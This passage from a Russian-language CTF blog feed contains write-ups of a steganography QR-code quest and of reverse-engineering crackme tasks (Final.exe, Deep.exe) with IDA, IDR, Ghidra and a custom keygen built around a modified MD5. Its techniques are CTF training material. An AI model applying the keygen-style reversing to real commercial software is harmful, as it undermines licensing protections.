&lt;p&gt;10) Из названия файла получаем &lt;code class=&quot;highlighter-rouge&quot;&gt;flag{TimeT0Tak3TheR3dPill}&lt;/code&gt; а на ней самой видим подсказку, что в случае необходимости нам нужно воспользоваться кодами доступа в Зион&lt;/p&gt;

&lt;p&gt;11) Гуглим коды &lt;code class=&quot;highlighter-rouge&quot;&gt;0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 0, 1, 2, 3, 5, 8, 13, 21, 34, 55, 0, 1, 3, 4, 7, 11, 18, 29, 47, 76, 0, 1, 4, 5, 9, 14, 23, 37, 60, 97, 0, 1, 5, 6, 11, 17, 28, 45, 73, 118, 0, 1, 6, 7, 13, 20, 33, 53, 86, 139, 0, 1, 7, 8, 15, 23, 38, 61, 99, 160, 0, 1, 8, 9, 17, 26, 43, 69, 112, 181, 0, 1, 9, 10, 19, 29, 48, 77, 125, 202, 0, 1, 10, 11, 21, 32, 53, 85, 138, 223&lt;/code&gt; которые представляют собой последовательность Фибоначчи и распаковываем архив &lt;code class=&quot;highlighter-rouge&quot;&gt;Z1ON.rar&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/64b196d0d34c2b5afb133cce513238e0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;12)Получаем &lt;code class=&quot;highlighter-rouge&quot;&gt;1tp.png&lt;/code&gt; - это половинка qr кода, она горизанально отражена, на что намекают квадраты разметки и название файла, зеркалим.&lt;/p&gt;

&lt;p&gt;13) У обычного человека возник бы закономерный вопрос: где вторая половинка, нужно бы её найти, но не у одного нашего героя, даже с большой буквы Героя - Избранного, NNeo, как мы его окрестили, он не стал искать вторую часть, а решил восстановить то что есть, но об этом в конце райтапа&lt;/p&gt;

&lt;p&gt;14) Вспоминаем что у нас ещё есть картинка со вторым флагом и подсказкой к зиону, прогоняем её бинволком и видим, что она содержит в себе RAR архив&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/e9c1571b8355f79c3a8e9dbd612ad01f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;15) Меняем расширение на RAR и открываем. внутри вторая часть qr кода.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/69a9b1b0a5d09be152015c91d1497581.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;16) Соединяем части воедино и переходим на финальную страницу &lt;code class=&quot;highlighter-rouge&quot;&gt;https://telegra.ph/Congratulation-that-is-all-07-05&lt;/code&gt; с последним флагом &lt;code class=&quot;highlighter-rouge&quot;&gt;flag{_M4trix_Has_Y0u_Neo_}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Готово, вы восхитительны!&lt;/p&gt;

&lt;p&gt;Страница всячески намекает нам что на ней больше ничего нет, но особо пытливые в итоге найдут своё предназначение^^&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/069461f15eb3ceccd2e8f948b0a47681.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Но знаете, есть избранный, который прошел этот квест по-своему&lt;/strong&gt; и далее его цитата, а этим избранным был &lt;del&gt;Альберт Эйнштейн&lt;/del&gt; участник, занявший 4 место в нашем CTF &lt;a href=&quot;https://t.me/vitek_ru&quot;&gt;Victor Ryabinin&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;1) сначала прошел по qr&lt;/p&gt;

&lt;p&gt;2) открыл ссылку под картинкой внизу (скрытую сначала не заметил)&lt;/p&gt;

&lt;p&gt;3) скачал картинку, нашел через strings первый флаг и ссылку на архив&lt;/p&gt;

&lt;p&gt;4) к архиву пробовал набрутить простые пароли, не получилось, фразы из фильма - тоже мимо, нашел пароль который вводила тринити в одной из частей &lt;code class=&quot;highlighter-rouge&quot;&gt;Z10N0101&lt;/code&gt;, не прошло, загуглил коды доступа в зеон - прокатило, получил пнг - нижнюю часть картинки&lt;/p&gt;

&lt;p&gt;5) смотрю -картинка обрезанная, “ага”, старый трюк с изменением высоты - поправил высоту до 1023, но нет, скрытой второй части не оказалось&lt;/p&gt;

&lt;p&gt;6) ок, что если вся инфа в нижней части QR кода, а в верхней ничего нет? идем на &lt;code class=&quot;highlighter-rouge&quot;&gt;https://merri.cx/qrazybox/&lt;/code&gt;, выбираем размер, начинаем рисовать - какая-то ерунда, большой и малый квадрат поменяны местами, ок, отражаем по вертикали, квадраты на месте, похоже на правду&lt;/p&gt;

&lt;p&gt;7) черным и белым помечаем клетки которые известны, (то что версия 3 и L кодировка тоже выясняем походу, отмечая квадраты в правом верхнем углу, запускаем анализ&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Error Correction log :
Show
Decoding Error :
Show
Back to editor
QR version : 3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;29x29&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Error correction level : L
Mask pattern : 3
Number of missing bytes &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;erasures&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; : 30 bytes &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;42.86%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Data blocks :
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;01000011&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00110110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;10000111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01000111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01000111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00000111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00110011&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;10100010&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11110010&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11110111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01000110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01010110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11000110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01010110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01110111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00100110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00010010&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11100111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00000110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;10000010&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;1111????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;???00111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01010110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11000110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00010111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01000110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;10010110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11110110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;1110????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;???10111&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00110010&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;01010110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00010110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11000110&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11001100&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00110001&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;0000????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????0000&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11101100&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00010001&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;???11011&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00100100&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;00110000&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;10101000&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11000000&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;100?????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;???00001&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;11110001&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;10110100&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;010?????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;????????&quot;&lt;/span&gt;,&lt;span class=&quot;s2&quot;&gt;&quot;???11110&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
----------------Block 1----------------
Reed-Solomon Block : &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;67,54,135,71,71,7,51,162,242,247,70,86,198,86,119,38,18,231,6,130,0,0,0,0,0,0,0,0,86,198,23,70,150,246,0,0,0,0,0,0,0,0,50,86,22,198,204,49,0,0,0,0,0,236,17,0,36,48,168,192,0,0,0,0,241,180,0,0,0,0]
Final data bits :
01000011001101101000011101000111010001110000011100110011101000101111001011110111010001100101011011000110010101100111011100100110000100101110011100000110100000100000000000000000000000000000000000000000000000000000000000000000010101101100011000010111010001101001011011110110000000000000000000000000000000000000000000000000000000000000000000110010010101100001011011000110110011000011000100000000000000000000000000000000000000001110110000010001
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0100] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;00110011] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;011010000110111010001101110100011011100000110111001100100111010001001011110010010111101101110100011011001010110110110001101100101011011001110110111001001101100001001001011100110111000001101101000001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101011011011000110110000101101110100011011010010110110111101101100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001100100100101011011000010110110110001101101100110110000110000001000000000000000000000000000000000000000000000000000]
Mode Indicator : 8-bit Mode &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0100&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Character Count Indicator : 51
Decoded data : https://telegra.ph  latio&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; %allÃ 
Final Decoded string : https://telegra.ph  latio&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; %allÃ 
Error :
- Too much missing bits
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;получилось
&lt;code class=&quot;highlighter-rouge&quot;&gt;h??p??//te?????.ph/????????latio????????s-all-?????&lt;/code&gt;
ок, ссылка похожа на &lt;code class=&quot;highlighter-rouge&quot;&gt;https://telegra.ph/&lt;/code&gt; в конце у них идет номер месяца и число статьи, т.е.
&lt;code class=&quot;highlighter-rouge&quot;&gt;https://telegra.ph/????????latio????????s-all-07-0[5-9]&lt;/code&gt; число от &lt;code class=&quot;highlighter-rouge&quot;&gt;07-05&lt;/code&gt; (дата старта квеста до 07-09, когда был первый прошедший квест)
далее идем на &lt;code class=&quot;highlighter-rouge&quot;&gt;https://www.nayuki.io/page/creating-a-qr-code-step-by-step&lt;/code&gt;, генерируем qr код по известной части фразы, медленно и кропотливо переносим букву за буквой (буквы в qr кодах идут кривыми блоками)&lt;/p&gt;

&lt;p&gt;8) запускаем анализатор, получаем
&lt;code class=&quot;highlighter-rouge&quot;&gt;https://telegra.ph/????????lation???????s-all-07-0?&lt;/code&gt; не сильно много это дало, возможно это опять фраза из фильма?
качаем субтитры 4-х частей матрицы и грепаем по &lt;code class=&quot;highlighter-rouge&quot;&gt;lation&lt;/code&gt;
получили: simulation, congratulations, population, о, congratulations вроде как как раз подходит по маске, ок, предположим
&lt;code class=&quot;highlighter-rouge&quot;&gt;https://telegra.ph/congratulation???????s-all-07-0?&lt;/code&gt; 
поздравляем, это все? что, ж, звучит правдоподобно,&lt;/p&gt;

&lt;p&gt;9) дальше чисто муки перебора вариантов&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;congratulations-thats-all&lt;/code&gt;, не подходит,&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;congratulations-that-is-all&lt;/code&gt; - не влазит, хмм, а что если не “поздравляем, это все”, а “поздравление, это все?”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;проверяем &lt;code class=&quot;highlighter-rouge&quot;&gt;congratulation-that-is-all&lt;/code&gt; и все даты, результат: &lt;code class=&quot;highlighter-rouge&quot;&gt;https://telegra.ph/congratulation-that-is-all-07-05&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;10) закрались сомнения что именно так надо было проходить квест, пишем разрабам квеста и узнаем что оказывается была вторая часть qr кода в картинке для второго ключа, проверяем binwalk и находим архив, спрятанный в картинке с другой половиной QR кода&lt;/p&gt;

</description>
        <pubDate>Tue, 25 Jul 2023 00:00:01 +0000</pubDate>
        <link>https://dc78422.ru/writeup/2023/07/25/ctf0-wake-up-neo.html</link>
        <guid isPermaLink="true">https://dc78422.ru/writeup/2023/07/25/ctf0-wake-up-neo.html</guid>
        
        
        <category>writeup</category>
        
      </item>
    
      <item>
        <title>Разбор заданий по реверсу с DC78422 CTF0 (часть 3)</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Данное описание подготовлено и публикуется со слов участника CTF, занявшего &lt;a href=&quot;https://t.me/dc20e6/46726&quot;&gt;почетное второе место&lt;/a&gt; – Сементинова Сергея ( &lt;a href=&quot;https://t.me/cema_rus&quot;&gt;@cema_rus&lt;/a&gt; ).
Мы разбили прохождение реверста на несколько статей потому что они достаточно обширны и подробны, &lt;a href=&quot;https://dc78422.ru/writeup/2023/07/24/ctf0-reverse.html&quot;&gt;первая часть разбором с заданиями Task1.exe, Task2.exe, Task3.exe, taskSyzran.exe&lt;/a&gt; уже доступна, как и &lt;a href=&quot;https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol2.html&quot;&gt;вторая часть c Deep.exe&lt;/a&gt;, а это уже третья часть.
Дальше текст передается as-is.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;finalexe&quot;&gt;Final.exe&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Финальное задание и самое интересное!&lt;/code&gt; Далее будут описаны только основные шаги решения, а тонны негодования, возникших проблем на разных этапах и различные поиски, я оставлю “за кадром”.&lt;/p&gt;

&lt;h3 id=&quot;section&quot;&gt;Собираем всё необходимое&lt;/h3&gt;

&lt;p&gt;Сразу же смотрим информацию в программе Detect-It-Easy и видим, что компилятор Embarcadero Delphi(XE7) - будем облегчать себе жизнь при помощи Interactive Delphi Reconstructor (https://github.com/crypto2011/IDR); Качаем, подкидываем ей все “базы знаний”, запускаем, открываем наш Final.exe и ждём, пока пройдёт анализ файла. После окончания анализа, в меню Tools выбираем пункт IDC Generator и сохраняем куда-нибудь скрипт Final.idc;&lt;/p&gt;

&lt;p&gt;Запускаем IDA и открываем наш Final.exe, смотрим функцию start (ДО) и радуемся, что большую часть за нас всё сделает полученный выше скрипт. В меню File выбираем пункт Script File и открываем наш Final.idc и дожидаемся, пока скрипт все сделает - готово (ПОСЛЕ).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/9ea53780019424a7630e2f03f89d3a61.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;section-1&quot;&gt;Анализ кода после декомпиляции&lt;/h3&gt;

&lt;h4 id=&quot;entrypoint&quot;&gt;Функция EntryPoint&lt;/h4&gt;

&lt;p&gt;Запуск программы показал, что если флаг введен неправильно, то программа продолжает спрашивать флаг снова, пока не будет указан верный флаг. Возьмём это как некую отправную точку.&lt;/p&gt;

&lt;p&gt;В конце главной функции видим вызов Halt0. С высокой долей вероятности - это будет завершение программы; из чего следует, что переменная byte_4E13C4 - означает что введенная строка оказалась верной. Назначаем ей имя bFlagIsOK и продолжаем распутывать этот клубок, попутно рассматривая условия, зависимости и прочие штуки, которые помогут нам понять алгоритм проверки.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/c62eee117d88dfae4424df3fe05dfdb6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Находим в каком месте в bFlagIsOK присваивается единица и какие условия для этого должны быть выполнены (помечаем) и, если верить логике, то в случае невыполнения условия говорим, что что-то пошло не так и уходим на очередной круг цикла (помечаем и это место).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/a815e307e2355547fcd4c637bbd865ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;При этом получаем метку, на которую ещё из 2х мест уходит наша программа, а значит и в этих местах проверка флага “не проходит”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/f1b32f8ee674b73752a8869dac6cf16c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Изучая эти условия, мы понимаем, в какой переменной находится введенная нами строка и продолжаем анализ всех действий, которые с ней происходят. Далее я пропущу описание поиска всех значимых для алгоритма переменных, а просто покажу часть “причесанного” кода, по которому уже можно строить алгоритм проверки введенной строки.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/08ef2f5e0c0ff1f31d606142524b8278.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Всё описанное и немного фантазии, дают нам следующий алгоритм для проверки строки:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Читаем строку из консоли;&lt;/li&gt;
  &lt;li&gt;Если строка начинается не с последовательности “flag”, уходим на метку &lt;code class=&quot;highlighter-rouge&quot;&gt;lblFlagIsNotCorrect&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;Если длина строки не равняется 26 символам, 4й символ (начиная с нулевого) не равен ‘{‘ или 25й символ не равен ‘}’ - уходим на метку &lt;code class=&quot;highlighter-rouge&quot;&gt;lblFlagIsNotCorrect&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;Для каждого символа в фигурных скобках формируем строку, в которой этот символ повторяется столько раз, какой он идёт по порядку от скобок; т.е. для введенной строки &lt;code class=&quot;highlighter-rouge&quot;&gt;flag{12345...&lt;/code&gt;. Это будут строки: “1”, “22”, “333”, “4444”, “55555” и т.д.;&lt;/li&gt;
  &lt;li&gt;Идёт обработка двумя функциями &lt;code class=&quot;highlighter-rouge&quot;&gt;sub_4D37DC&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;sub_4D372C&lt;/code&gt; и если результат их выполнения равен проверяемому символу, то увеличиваем счётчик;&lt;/li&gt;
  &lt;li&gt;Если, по окончании строки, счётчик равен 20 (количеству символов в скобках), то &lt;code class=&quot;highlighter-rouge&quot;&gt;bFlagIsOK = 1&lt;/code&gt;, выводим радостное сообщение и выходим из программы.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;В целом, картина уже довольно ясная, кроме 2х моментов - это функции &lt;code class=&quot;highlighter-rouge&quot;&gt;sub_4D37DC&lt;/code&gt; и &lt;code class=&quot;highlighter-rouge&quot;&gt;sub_4D372C&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;sub4d37dc&quot;&gt;Функция sub_4D37DC&lt;/h4&gt;

&lt;p&gt;Разбор этой функции почти превратился для меня в ад, но “голос свыше” обратил моё внимание, что цифры при заполнении массива в одной из функций внутри очень нарядно выглядят:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/78ad7d5a9fc44257fa28a326fcb51fdb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Поиск в гугле по этим цифрам, сказал что такие полиномы (если их можно так назвать) используются при расчёте хэша MD5 и SHA-1. Изучив подробнее, выясняем, что в SHA-1 используется еще 5й полином, а значит наш случай - это MD5.
Переименовываем функцию и идём дальше)&lt;/p&gt;

&lt;h4 id=&quot;sub4d372c&quot;&gt;Функция sub_4D372C&lt;/h4&gt;

&lt;p&gt;На вход ей отправляется результат расчёта MD5 хэша из функции выше и байт из некоторого массива, индекс которого соответствует индексу проверяемого символа (после скобок, естественно). Далее функция переводит бинарный код в HEX строку и результатом функции является символ, стоящий на определенной позиции из этой HEX-строки. Позиция соответствует значению переданного байта.&lt;/p&gt;

&lt;h3 id=&quot;section-2&quot;&gt;Итог&lt;/h3&gt;

&lt;p&gt;Заменяем в нашем алгоритме пункт 5 на пункты:
5.1. Расчет хэша MD5 для сформированной строки;
5.2. Формируем из бинарного кода HEX-строку;
5.3. Возвращаем n-й символ из строки (n зависит от значения байта в неком массиве);&lt;/p&gt;

&lt;p&gt;Ну что ж… Общий алгоритм готов. Теперь берём в руки какой-нибудь язык программирования и пишем кейген) В нашем случае, это будет не совсем кейген, а программа, которая покажет все возможные символы для каждой из позиций в строке.&lt;/p&gt;

&lt;h3 id=&quot;section-3&quot;&gt;Делаем калькулятора флага&lt;/h3&gt;

&lt;p&gt;Первую реализацию калькулятора флага, сделал на C#. Всё, вроде, выглядело хорошо и должно было работать так же.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/174b4a2d00e7d732f9c0345e44de6fda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Но, как обычно, что-то пошло не так и для некоторых позиций не было ни одного подходящего по алгоритму значения.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/81b72e1176dfe53c6b8756d3967419ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ломал голову и так, и эдак, и всё перепроверил по 100 раз, но результата никакого… Спустя какое-то время, когда я уже был готов жевать бумагу с заметками, выяснилось, что MD5 не такая уж MD5 как кажется на первый взгляд. Наиболее внимательные уже заметили, что полиномы для расчёта MD5 те же, но порядок у них другой.&lt;/p&gt;

&lt;p&gt;Пришло время второй реализации, но… На чём её писать?! Ведь C# в чистом виде уже не подходит, реализации на нём в интернетах у меня вылетали с ошибкой. Из всего остального у меня установлено и имеется достаточный опыт только на чистом C под микроконтроллеры. Значит быть “железному” кейгену) Нашел реализацию MD5 для С, адаптировал её под микроконтроллер и написал кейен уже на выбранное железо.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/ae00d76a239b104e28ced30bff9737c4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Компилирую, загружаю в железяку, запускаю терминал и… Вот результат:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/035a7b190cef0fe67385987a91337b46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Долго мудрить не будем, составим флаг по первым символам в каждой позиции и проверяем сначала в программе, потом на сайте - Correct!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/42bc546690e2dd6b78ec286b899bebf9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ну и фото используемой железяки:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/b2f05c6b163b025b55724e2940e67543.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;section-4&quot;&gt;Задание выполнено!&lt;/h3&gt;

&lt;p&gt;Для себя могу отметить одно. Подобные “соревнования” очень сильно стимулируют к изучению чего-либо. И даже не наличием подарков, а просто турнирной таблицей. И хочется сказать СПАСИБО всем причастным к организации данного мероприятия. Было очень интересно!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Файлы заданий&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://dc78422.ru/files/ctf-tasks/0/Final.exe&quot;&gt;https://dc78422.ru/files/ctf-tasks/0/Final.exe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 24 Jul 2023 00:00:10 +0000</pubDate>
        <link>https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol3.html</link>
        <guid isPermaLink="true">https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol3.html</guid>
        
        
        <category>writeup</category>
        
      </item>
    
      <item>
        <title>Разбор заданий по реверсу с DC78422 CTF0 (часть 2)</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;Данное описание подготовлено и публикуется со слов участника CTF, занявшего &lt;a href=&quot;https://t.me/dc20e6/46726&quot;&gt;почетное второе место&lt;/a&gt; – Сементинова Сергея ( &lt;a href=&quot;https://t.me/cema_rus&quot;&gt;@cema_rus&lt;/a&gt; ).
Мы разбили прохождение реверста на несколько статей потому что они достаточно обширны и подробны, это уже вторая часть, &lt;a href=&quot;https://dc78422.ru/writeup/2023/07/24/ctf0-reverse.html&quot;&gt;первая часть разбором с заданиями Task1.exe, Task2.exe, Task3.exe, taskSyzran.exe&lt;/a&gt; уже доступна, как и &lt;a href=&quot;https://dc78422.ru/writeup/2023/07/24/ctf0-reverse-vol3.html&quot;&gt;третья часть разбора с финальным заланием Final.exe&lt;/a&gt;.
Дальше текст передается as-is.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;deepexe&quot;&gt;Deep.exe&lt;/h2&gt;

&lt;p&gt;Предпоследнее задание. Уже больше похожее на настоящий реверс, со всем плюшками в виде: разобрать код, понять алгоритм и сделать генератор ключей. Ну что) В добрый путь…&lt;/p&gt;

&lt;p&gt;Сначала планировалось выполнять это задание с применением все тех же IDR и IDA, но в IDA при декомпиляции вылазила ошибка и, честно сказать, было лень с ней разбираться - было решено использовать “новый для себя” инструмент - Ghidra (https://github.com/NationalSecurityAgency/ghidra/releases).&lt;/p&gt;

&lt;p&gt;Качаем, запускаем, создаем проект, добавляем приложение:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/7d440fd47b1dff3520d57f4f9ce84120.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;По двойному щелчку на приложении запускается окно CodeBrowser и, при  первом запуске, предлагается провести анализ кода, соглашаемся на всё, жмём на кнопку Analyze и дожидаемся окончания анализа.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/9f0b67a0f9bffd0bdfbedfd9c0ffbffb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Теперь имеем код и давайте его разбирать, попутно переименовывая различные переменные и функции для удобного понимания:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/6665d0d0ee5b5b7d46f0d9d31c90a5ea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

